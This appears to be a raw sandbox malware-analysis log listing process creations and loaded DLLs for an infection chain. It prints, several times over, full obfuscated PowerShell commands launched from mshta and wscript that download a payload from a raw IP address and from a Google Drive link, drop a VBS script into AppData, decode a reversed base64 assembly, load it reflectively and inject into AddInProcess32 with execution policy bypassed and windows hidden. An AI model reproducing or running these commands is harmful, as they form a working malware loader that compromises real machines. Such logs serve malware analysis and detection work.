'KCgnVUNRaW1hZ2VVcmwgPSAwVERodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2EnKydkJysnJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciAwVEQ7VUNRd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtVQ1FpbWFnZUJ5dGVzID0gVUNRd2ViQ2xpZW50LkRvd25sb2FkRGF0YShVQ1FpbScrJ2FnZVVybCk7VUNRaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoVUNRaW1hZ2VCeXRlcyk7VUNRc3RhcnRGbGFnID0gMFREPDxCQVNFNjRfU1RBUlQ+PjBURDtVQ1EnKydlbmRGbGFnID0gMFREPDxCQVNFNjRfRU5EPj4wVEQ7VUNRc3RhcnRJbmRleCA9IFVDUWltYWdlVGV4dC5JbmRleE9mKFVDUXN0YXJ0RmxhZyk7VUNRZW5kSW5kZXggPSBVQ1FpbWFnZVRleHQuSW5kZXhPZihVQ1FlbmRGbGFnKTtVQ1FzdCcrJ2FydEluZGV4IC1nZSAwIC1hbmQgVUNRZW5kSW5kZXggLWd0IFVDUXN0YXJ0SW5kZXg7VUNRc3RhcnRJbmRleCArPSBVQ1FzdGFydEZsYWcuTGVuZ3RoO1VDUWJhc2U2NCcrJ0xlbmd0aCA9ICcrJ1VDJysnUScrJ2VuZEluZGV4IC0gVUNRc3RhcnRJbmRleDtVQ1FiYXNlNjRDb21tYW5kICcrJz0gVUNRaW1hZ2VUZXh0LlN1YnN0cmluZyhVQ1FzdGFydEluZGV4LCBVQ1FiYXNlNjRMZW5ndGgpO1VDUWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFVDUWJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBQeXogRm9yRWFjaC1PYmplY3QgeyBVQ1FfIH0pWycrJy0xLi4tKFVDUWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07VUNRY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhVQ1FiYXNlNjRSZXZlcnNlZCk7VUNRbG9hZGVkQXNzJysnZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFVDUWNvbW1hbmRCeXRlcyk7VUMnKydRdmFpTWV0aG9kID0gW2RubGliLklPLkhvbScrJ2VdLkdldE1ldGhvZCgwVERWQUkwVEQpO1VDUXZhaU1ldGhvZC5JbnZva2UoJysnVUNRJysnbnVsbCwgQCgwVER0eHQuSUtPTDAyJVNHT0wvNjMvMTQxLjYnKyc3MS4zLjI5MS8vOnB0dGgwVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aScrJ3ZhZG8wVEQsIDBUREFkZEluUHJvY2VzczMyMFRELCAwVERkZXNhdGl2YWRvMFRELCAwVERkZXNhdGl2YWRvMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwnKycwVERkZXNhdGl2YWRvJysnMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwwVCcrJ0QxMFRELDBURGRlc2F0aXZhZCcrJ28wVEQpKScrJzsnKS1yRXBsYWNFJ1VDUScsW2NIYVJdMzYgIC1yRXBsYWNFJzBURCcsW2NIYVJdMzkgIC1yRXBsYWNFIChbY0hhUl04MCtbY0hhUl0xMjErW2NIYVJdMTIyKSxbY0hhUl0xMjQpIHwuICgoR0VULXZhUklhQkxlICcqbWRyKicpLm5hTUVbMywxMSwyXS1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('UCQimageUrl = 0TDhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 0TD;UCQwebClient = New-Object System.Net.W'+'ebClient;UCQimageBytes = UCQwebClient.DownloadData(UCQim'+'ageUrl);UCQimageText = [System.Text.Encoding]::UTF8.GetString'+'(UCQimageBytes);UCQstartFlag = 0TD<<BASE64_START>>0TD;UCQ'+'endFlag = 0TD<<BASE64_END>>0TD;UCQstartIndex = UCQimageText.IndexOf(UCQstartFlag);UCQendIndex = UCQimageText.IndexOf(UCQendFlag);UCQst'+'artIndex -ge 0 -and UCQendIndex -gt UCQstartIndex;UCQstartIndex += UCQstartFlag.Length;UCQbase64'+'Length = '+'UC'+'Q'+'endIndex - UCQstartIndex;UCQbase64Command '+'= UCQimageText.Substring(UCQstartIndex, UCQbase64Length);UCQbase64Reversed = -join (UCQbase64Command.ToCharArray() Pyz ForEach-Object { UCQ_ })['+'-1..-(UCQbase64Command.Length)];UCQcommandBytes = [System.Convert]::FromBase64String(UCQbase64Reversed);UCQloadedAss'+'embly = [System.Reflection.Assembly]::Load(UCQcommandBytes);UC'+'QvaiMethod = [dnlib.IO.Hom'+'e].GetMethod(0TDVAI0TD);UCQvaiMethod.Invoke('+'UCQ'+'null, @(0TDtxt.IKOL02%SGOL/63/141.6'+'71.3.291//:ptth0TD, 0TDdesativado0TD, 0TDdesativado0TD, 0TDdesati'+'vado0TD, 0TDAddInProcess320TD, 0TDdesativado0TD, 0TDdesativado0TD,0TDdesativado0TD,0TDdesativado0TD,'+'0TDdesativado'+'0TD,0TDdesativado0TD,0TDdesativado0TD,0T'+'D10TD,0TDdesativad'+'o0TD))'+';')-rEplacE'UCQ',[cHaR]36 -rEplacE'0TD',[cHaR]39 -rEplacE ([cHaR]80+[cHaR]121+[cHaR]122),[cHaR]124) \|. ((GET-vaRIaBLe 'mdr').naME[3,11,2]-JoIN'')"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\goodthingswithgreatcomebackwithgreatthig.vbS"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4A69.tmp" "c:\Users\user\AppData\Local\Temp\41k31je4\CSC1CC2DACCE81D4F99A1AD504B85F71256.TMP"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnVUNRaW1hZ2VVcmwgPSAwVERodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2EnKydkJysnJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciAwVEQ7VUNRd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtVQ1FpbWFnZUJ5dGVzID0gVUNRd2ViQ2xpZW50LkRvd25sb2FkRGF0YShVQ1FpbScrJ2FnZVVybCk7VUNRaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoVUNRaW1hZ2VCeXRlcyk7VUNRc3RhcnRGbGFnID0gMFREPDxCQVNFNjRfU1RBUlQ+PjBURDtVQ1EnKydlbmRGbGFnID0gMFREPDxCQVNFNjRfRU5EPj4wVEQ7VUNRc3RhcnRJbmRleCA9IFVDUWltYWdlVGV4dC5JbmRleE9mKFVDUXN0YXJ0RmxhZyk7VUNRZW5kSW5kZXggPSBVQ1FpbWFnZVRleHQuSW5kZXhPZihVQ1FlbmRGbGFnKTtVQ1FzdCcrJ2FydEluZGV4IC1nZSAwIC1hbmQgVUNRZW5kSW5kZXggLWd0IFVDUXN0YXJ0SW5kZXg7VUNRc3RhcnRJbmRleCArPSBVQ1FzdGFydEZsYWcuTGVuZ3RoO1VDUWJhc2U2NCcrJ0xlbmd0aCA9ICcrJ1VDJysnUScrJ2VuZEluZGV4IC0gVUNRc3RhcnRJbmRleDtVQ1FiYXNlNjRDb21tYW5kICcrJz0gVUNRaW1hZ2VUZXh0LlN1YnN0cmluZyhVQ1FzdGFydEluZGV4LCBVQ1FiYXNlNjRMZW5ndGgpO1VDUWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFVDUWJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBQeXogRm9yRWFjaC1PYmplY3QgeyBVQ1FfIH0pWycrJy0xLi4tKFVDUWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07VUNRY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhVQ1FiYXNlNjRSZXZlcnNlZCk7VUNRbG9hZGVkQXNzJysnZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFVDUWNvbW1hbmRCeXRlcyk7VUMnKydRdmFpTWV0aG9kID0gW2RubGliLklPLkhvbScrJ2VdLkdldE1ldGhvZCgwVERWQUkwVEQpO1VDUXZhaU1ldGhvZC5JbnZva2UoJysnVUNRJysnbnVsbCwgQCgwVER0eHQuSUtPTDAyJVNHT0wvNjMvMTQxLjYnKyc3MS4zLjI5MS8vOnB0dGgwVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aScrJ3ZhZG8wVEQsIDBUREFkZEluUHJvY2VzczMyMFRELCAwVERkZXNhdGl2YWRvMFRELCAwVERkZXNhdGl2YWRvMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwnKycwVERkZXNhdGl2YWRvJysnMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwwVCcrJ0QxMFRELDBURGRlc2F0aXZhZCcrJ28wVEQpKScrJzsnKS1yRXBsYWNFJ1VDUScsW2NIYVJdMzYgIC1yRXBsYWNFJzBURCcsW2NIYVJdMzkgIC1yRXBsYWNFIChbY0hhUl04MCtbY0hhUl0xMjErW2NIYVJdMTIyKSxbY0hhUl0xMjQpIHwuICgoR0VULXZhUklhQkxlICcqbWRyKicpLm5hTUVbMywxMSwyXS1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('UCQimageUrl = 0TDhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 0TD;UCQwebClient = New-Object System.Net.W'+'ebClient;UCQimageBytes = UCQwebClient.DownloadData(UCQim'+'ageUrl);UCQimageText = [System.Text.Encoding]::UTF8.GetString'+'(UCQimageBytes);UCQstartFlag = 0TD<<BASE64_START>>0TD;UCQ'+'endFlag = 0TD<<BASE64_END>>0TD;UCQstartIndex = UCQimageText.IndexOf(UCQstartFlag);UCQendIndex = UCQimageText.IndexOf(UCQendFlag);UCQst'+'artIndex -ge 0 -and UCQendIndex -gt UCQstartIndex;UCQstartIndex += UCQstartFlag.Length;UCQbase64'+'Length = '+'UC'+'Q'+'endIndex - UCQstartIndex;UCQbase64Command '+'= UCQimageText.Substring(UCQstartIndex, UCQbase64Length);UCQbase64Reversed = -join (UCQbase64Command.ToCharArray() Pyz ForEach-Object { UCQ_ })['+'-1..-(UCQbase64Command.Length)];UCQcommandBytes = [System.Convert]::FromBase64String(UCQbase64Reversed);UCQloadedAss'+'embly = [System.Reflection.Assembly]::Load(UCQcommandBytes);UC'+'QvaiMethod = [dnlib.IO.Hom'+'e].GetMethod(0TDVAI0TD);UCQvaiMethod.Invoke('+'UCQ'+'null, @(0TDtxt.IKOL02%SGOL/63/141.6'+'71.3.291//:ptth0TD, 0TDdesativado0TD, 0TDdesativado0TD, 0TDdesati'+'vado0TD, 0TDAddInProcess320TD, 0TDdesativado0TD, 0TDdesativado0TD,0TDdesativado0TD,0TDdesativado0TD,'+'0TDdesativado'+'0TD,0TDdesativado0TD,0TDdesativado0TD,0T'+'D10TD,0TDdesativad'+'o0TD))'+';')-rEplacE'UCQ',[cHaR]36 -rEplacE'0TD',[cHaR]39 -rEplacE ([cHaR]80+[cHaR]121+[cHaR]122),[cHaR]124) \|. ((GET-vaRIaBLe 'mdr').naME[3,11,2]-JoIN'')"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sblybu2m\sblybu2m.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\goodthingswithgreatcomebackwithgreatthig.vbS"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8FC2.tmp" "c:\Users\user\AppData\Local\Temp\sblybu2m\CSCFEB4FC09456049919CFF236451FA82A.TMP"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnVUNRaW1hZ2VVcmwgPSAwVERodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2EnKydkJysnJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciAwVEQ7VUNRd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtVQ1FpbWFnZUJ5dGVzID0gVUNRd2ViQ2xpZW50LkRvd25sb2FkRGF0YShVQ1FpbScrJ2FnZVVybCk7VUNRaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoVUNRaW1hZ2VCeXRlcyk7VUNRc3RhcnRGbGFnID0gMFREPDxCQVNFNjRfU1RBUlQ+PjBURDtVQ1EnKydlbmRGbGFnID0gMFREPDxCQVNFNjRfRU5EPj4wVEQ7VUNRc3RhcnRJbmRleCA9IFVDUWltYWdlVGV4dC5JbmRleE9mKFVDUXN0YXJ0RmxhZyk7VUNRZW5kSW5kZXggPSBVQ1FpbWFnZVRleHQuSW5kZXhPZihVQ1FlbmRGbGFnKTtVQ1FzdCcrJ2FydEluZGV4IC1nZSAwIC1hbmQgVUNRZW5kSW5kZXggLWd0IFVDUXN0YXJ0SW5kZXg7VUNRc3RhcnRJbmRleCArPSBVQ1FzdGFydEZsYWcuTGVuZ3RoO1VDUWJhc2U2NCcrJ0xlbmd0aCA9ICcrJ1VDJysnUScrJ2VuZEluZGV4IC0gVUNRc3RhcnRJbmRleDtVQ1FiYXNlNjRDb21tYW5kICcrJz0gVUNRaW1hZ2VUZXh0LlN1YnN0cmluZyhVQ1FzdGFydEluZGV4LCBVQ1FiYXNlNjRMZW5ndGgpO1VDUWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFVDUWJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBQeXogRm9yRWFjaC1PYmplY3QgeyBVQ1FfIH0pWycrJy0xLi4tKFVDUWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07VUNRY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhVQ1FiYXNlNjRSZXZlcnNlZCk7VUNRbG9hZGVkQXNzJysnZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFVDUWNvbW1hbmRCeXRlcyk7VUMnKydRdmFpTWV0aG9kID0gW2RubGliLklPLkhvbScrJ2VdLkdldE1ldGhvZCgwVERWQUkwVEQpO1VDUXZhaU1ldGhvZC5JbnZva2UoJysnVUNRJysnbnVsbCwgQCgwVER0eHQuSUtPTDAyJVNHT0wvNjMvMTQxLjYnKyc3MS4zLjI5MS8vOnB0dGgwVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aScrJ3ZhZG8wVEQsIDBUREFkZEluUHJvY2VzczMyMFRELCAwVERkZXNhdGl2YWRvMFRELCAwVERkZXNhdGl2YWRvMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwnKycwVERkZXNhdGl2YWRvJysnMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwwVCcrJ0QxMFRELDBURGRlc2F0aXZhZCcrJ28wVEQpKScrJzsnKS1yRXBsYWNFJ1VDUScsW2NIYVJdMzYgIC1yRXBsYWNFJzBURCcsW2NIYVJdMzkgIC1yRXBsYWNFIChbY0hhUl04MCtbY0hhUl0xMjErW2NIYVJdMTIyKSxbY0hhUl0xMjQpIHwuICgoR0VULXZhUklhQkxlICcqbWRyKicpLm5hTUVbMywxMSwyXS1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('UCQimageUrl = 0TDhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 0TD;UCQwebClient = New-Object System.Net.W'+'ebClient;UCQimageBytes = UCQwebClient.DownloadData(UCQim'+'ageUrl);UCQimageText = [System.Text.Encoding]::UTF8.GetString'+'(UCQimageBytes);UCQstartFlag = 0TD<<BASE64_START>>0TD;UCQ'+'endFlag = 0TD<<BASE64_END>>0TD;UCQstartIndex = UCQimageText.IndexOf(UCQstartFlag);UCQendIndex = UCQimageText.IndexOf(UCQendFlag);UCQst'+'artIndex -ge 0 -and UCQendIndex -gt UCQstartIndex;UCQstartIndex += UCQstartFlag.Length;UCQbase64'+'Length = '+'UC'+'Q'+'endIndex - UCQstartIndex;UCQbase64Command '+'= UCQimageText.Substring(UCQstartIndex, UCQbase64Length);UCQbase64Reversed = -join (UCQbase64Command.ToCharArray() Pyz ForEach-Object { UCQ_ })['+'-1..-(UCQbase64Command.Length)];UCQcommandBytes = [System.Convert]::FromBase64String(UCQbase64Reversed);UCQloadedAss'+'embly = [System.Reflection.Assembly]::Load(UCQcommandBytes);UC'+'QvaiMethod = [dnlib.IO.Hom'+'e].GetMethod(0TDVAI0TD);UCQvaiMethod.Invoke('+'UCQ'+'null, @(0TDtxt.IKOL02%SGOL/63/141.6'+'71.3.291//:ptth0TD, 0TDdesativado0TD, 0TDdesativado0TD, 0TDdesati'+'vado0TD, 0TDAddInProcess320TD, 0TDdesativado0TD, 0TDdesativado0TD,0TDdesativado0TD,0TDdesativado0TD,'+'0TDdesativado'+'0TD,0TDdesativado0TD,0TDdesativado0TD,0T'+'D10TD,0TDdesativad'+'o0TD))'+';')-rEplacE'UCQ',[cHaR]36 -rEplacE'0TD',[cHaR]39 -rEplacE ([cHaR]80+[cHaR]121+[cHaR]122),[cHaR]124) \|. ((GET-vaRIaBLe 'mdr').naME[3,11,2]-JoIN'')"

Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
